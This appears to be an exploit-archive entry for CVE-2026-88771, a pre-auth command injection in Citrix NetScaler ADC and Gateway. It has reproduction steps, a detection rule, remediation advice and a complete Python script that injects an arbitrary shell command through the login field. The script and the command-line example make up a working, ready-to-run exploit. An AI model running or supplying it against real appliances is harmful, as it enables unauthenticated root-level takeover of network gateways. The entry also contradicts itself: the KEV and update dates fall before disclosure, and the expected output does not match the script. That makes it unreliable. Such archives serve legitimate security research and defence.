PoC Archive PoC Archive
CVE-2026-88771 category: network CVSS 9.8 (CRITICAL) KEV
Unverified

Citrix NetScaler ADC / Gateway Pre-Auth Command Injection (CVE-2026-88771)

Published: 2026-11-25 • Researcher: Sina Kheirkhah (@SinSinology), watchTowr

Target software Citrix NetScaler ADC and NetScaler Gateway
Affected versions ADC before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, before 13.1.37.279 FIPS/NDcPP; Gateway before 14.1-73.37 and before 13.1-64.23 (NVD)
Status PoC (blind one-shot command injection)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-09-27. Federal remediation deadline 2026-09-30.

EPSS 2.2% · 83th percentile

Severity
Critical
CVE
CVE-2026-88771
Category
network
Affected product
Citrix NetScaler ADC and NetScaler Gateway
Affected versions
ADC before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, before 13.1.37.279 FIPS/NDcPP; Gateway before 14.1-73.37 and before 13.1-64.23 (NVD)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-28
Author / ResearcherSina Kheirkhah (@SinSinology), watchTowr
CVE / AdvisoryCVE-2026-88771
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1)
StatusPoC (blind one-shot command injection)
Tagscommand-injection, pre-auth, Citrix, NetScaler ADC, NetScaler Gateway, RCE, blind, KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemCitrix NetScaler ADC and NetScaler Gateway
Versions AffectedADC before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, before 13.1.37.279 FIPS/NDcPP; Gateway before 14.1-73.37 and before 13.1-64.23 (NVD)
Language / PlatformNetScaler appliance (FreeBSD-based); Python 3 client
Authentication RequiredNo
Network Access RequiredYes (management/authentication endpoint reachable)

Summary

CVE-2026-88771 is a pre-authentication command injection in Citrix NetScaler ADC and Gateway. The /nf/auth/doAuthentication.do login handler passes the login field into a privileged log-processing / command pickup path without adequate sanitisation, so an unauthenticated attacker can inject a shell command that is executed with appliance privileges. The watchTowr PoC sends a single crafted POST with the command embedded in the login field; execution is blind and may be delayed while the appliance’s log-processing path picks the entry up. CISA added the CVE to KEV on 2026-09-27.

Vulnerability Details

Root Cause

The authentication endpoint accepts a crafted login value containing shell metacharacters (;, #) and writes it into logs that are later consumed by a privileged pickup mechanism. Improper input validation / neutralisation (CWE-20) lets attacker-controlled text cross into the command context.

Attack Vector

An unauthenticated attacker sends a form-encoded POST to /nf/auth/doAuthentication.do with a payload shaped like:

Output
1
pitboss PPE unexpectedly died NSPPE;<command>;# X

The watchTowr script URL-encodes this into the login parameter and sends a normal login form. The command is then executed by the appliance’s pickup path; the script does not include the “forced pickup” technique, so the command may take time to run.

Impact

Arbitrary command execution with the privileges of the NetScaler pickup process (root-level on the appliance in the vendor’s description), enabling configuration changes, credential access, traffic manipulation, and persistence. CITRIX lists the issue as leading to unauthenticated arbitrary command execution; CISA KEV confirms exploitation in the wild.

Environment / Lab Setup

Output
OS:          NetScaler ADC / Gateway appliance (test instance)
Attacker:    Linux/macOS with Python 3 and requests
Tools:       python3, requests, network access to the appliance management IP

Setup Steps

Shell script
1
2
3
python3 watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py \
  --target https://netscaler.local/ \
  --command 'id>/var/tmp/watchTowr'

Proof of Concept

Step-by-Step Reproduction

  1. Build the payload — the script creates pitboss PPE unexpectedly died NSPPE;<command>;# X and URL-encodes it as the login form field.
  2. Send the POST — it posts to /nf/auth/doAuthentication.do with passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On.
  3. Wait for pickup — the appliance’s log-processing path executes the injected command; the upstream README warns this can take up to 24 hours.
  4. Verify — check the injected artifact (for example /var/tmp/watchTowr) on the appliance or use an out-of-band callback.

Exploit Code

See watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py.

The script is deliberately small: it builds the login payload, sends one HTTPS request, and exits. It is a blind command-injection PoC, not a scanner.

Expected Output

Output
1
2
3
4
5
6
[+] connected to https://netscaler.local/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done

The command’s output is not returned in-band; verify the artifact on the target.

Detection & Indicators of Compromise

  • POST requests to /nf/auth/doAuthentication.do with shell metacharacters (;, #, backticks, $()) in login.
  • Unexpected files in /var/tmp, /tmp, or web-accessible paths on the appliance.
  • NetScaler audit/log entries showing the “pitboss PPE unexpectedly died NSPPE” prefix or abnormal authentication POSTs.
  • Outbound callbacks from the management interface after an authentication POST.
  • CISA KEV status for CVE-2026-88771; correlate with NetScaler version.

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"Citrix NetScaler CVE-2026-88771 login injection"; \
  content:"/nf/auth/doAuthentication.do"; http_uri; \
  content:"login="; http_client_body; pcre:"/login=[^&]*(%3B|;)/i"; sid:9002620;)

Remediation

ActionDetail
PatchApply Citrix’s fixed NetScaler ADC/Gateway builds (14.1-73.37+, 13.1-64.23+, and the corresponding FIPS/NDcPP builds).
WorkaroundRestrict management/authentication access to trusted networks, put the management interface behind a VPN or ACL, and monitor for anomalous authentication POSTs.
Config HardeningRemove internet exposure of the management plane; enable appliance logging/alerting; rotate credentials after suspected compromise.

References

Notes

Auto-ingested from https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771 on 2026-11-25. This repository replaces the earlier techupdate24/citrix-netscaler-cve-2026-88771-rce source, which was an SEO/backlink README with no code. The upstream repository has no explicit license; the script is archived with attribution for authorized research only.

Limitations: the PoC is a blind, one-shot injection and does not include the “force pickup” technique; the command may take up to 24 hours to execute. It was not run against a live appliance during ingestion. Use only against systems you own or have written authorization to test.

The unrelated CVE-2026-88772 (same Citrix bulletin) is not covered by this entry.

watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Archived for authorized security research only.
# Source: https://github.com/watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771 (no explicit license)
import argparse
import urllib.parse
import requests
import sys

banner = """                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
         \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
          \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
           \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|
                          \\/          \\/     \\/

        watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py

        (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2026-88771]
"""

print(banner)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://xyz.local/)")
    parser.add_argument("--command", required=True, help="Command to inject (e.g., id>/var/tmp/boom)")
    args = parser.parse_args()

    login_payload = f"pitboss PPE unexpectedly died NSPPE;{args.command};# X" ; #Pat & Mat

    encoded_login = urllib.parse.quote(login_payload, safe='') ;

    url = args.target.rstrip('/') + "/nf/auth/doAuthentication.do"

    body = (
        f"login={encoded_login}"
        f"&passwd=x"
        f"&savecredentials=false"
        f"&nsg-x1-logon-button=Log+On"
    );

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0",
        "Connection": "close",
    }

    try:
        response = requests.post(url, data=body, headers=headers, timeout=15, verify=False)
    except Exception as e:
        print(f"[-] Request failed: {e}", file=sys.stderr)
        sys.exit(1)

requests.packages.urllib3.disable_warnings()
main() ; print("[+] command sent, wait for it to get picked up (might take up to 24 hours)")